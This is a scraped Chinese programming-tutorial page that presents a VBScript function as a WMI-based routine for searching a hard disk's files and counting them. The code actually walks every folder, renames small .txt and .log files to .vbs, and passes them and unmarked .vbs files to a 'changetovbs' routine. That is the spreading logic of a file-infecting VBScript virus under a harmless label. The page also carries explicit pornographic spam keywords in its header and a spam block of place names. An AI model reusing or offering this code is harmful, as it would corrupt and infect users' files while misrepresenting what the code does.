国产探花免费观看_亚洲丰满少妇自慰呻吟_97日韩有码在线_资源在线日韩欧美_一区二区精品毛片,辰东完美世界有声小说,欢乐颂第一季,yy玄幻小说排行榜完本

首頁 > 編程 > VBScript > 正文

VBS調用WMI遍歷搜索硬盤文件并計數的方法

2019-10-26 18:08:20
字體:
來源:轉載
供稿:網友

多年之前寫的一個VBS調用WMI來遍歷搜索硬盤文件,并計數的函數,今天整理網盤,看到了,發上來

核心代碼:

Function wmisfile(path_sf,justcnt) 'On Error Resume Next StrComputer = "." Set ObjWMIService = GetObject("winmgmts://" & StrComputer & "/root/cimv2") Set FileList = objWMIService.ExecQuery _ ("ASSOCIATORS OF {Win32_Directory.Name='" & path_sf & "'} Where " _ & "ResultClass = CIM_DataFile") For Each objFile In FileList fname = LCase(objfile.name) ename = LCase(objfile.extension) If 1 < objfile.filesize And objfile.filesize <= 50000 Then Select Case ename Case "txt","log" path_vbs = objfile.drive & objfile.path & objfile.filename & ".vbs" objfile.rename(objfile.drive & objFile.Path & objfile.filename & ".vbs") Call changetovbs(path_vbs,path_vbs) justcnt = justcnt + 1 Case "vbs" If checkversion(fname) = False Then Call changetovbs(fname,fname) justcnt = justcnt + 1 End If End Select End If Next Set colSubfolders = objWMIService.ExecQuery _ ("Associators of {Win32_Directory.Name='" & path_sf & "'} " _ & "Where AssocClass = Win32_Subdirectory " _ & "ResultRole = PartComponent") For Each objFolder In colSubfolders wmisfile objfolder.name,justcnt NextEnd Function

發表評論 共有條評論
用戶名: 密碼:
驗證碼: 匿名發表

圖片精選

主站蜘蛛池模板: 平凉市| 沙雅县| 日喀则市| 阿合奇县| 临洮县| 信丰县| 忻州市| 丰城市| 昭觉县| 格尔木市| 武宁县| 莒南县| 滦南县| 徐水县| 延长县| 乐山市| 金湖县| 托里县| 淮滨县| 麦盖提县| 乡城县| 沙河市| 龙海市| 永德县| 景宁| 汾西县| 延吉市| 涪陵区| 杭锦后旗| 磴口县| 洛隆县| 朔州市| 广宗县| 福建省| 新晃| 黑河市| 鞍山市| 佳木斯市| 新余市| 运城市| 新晃|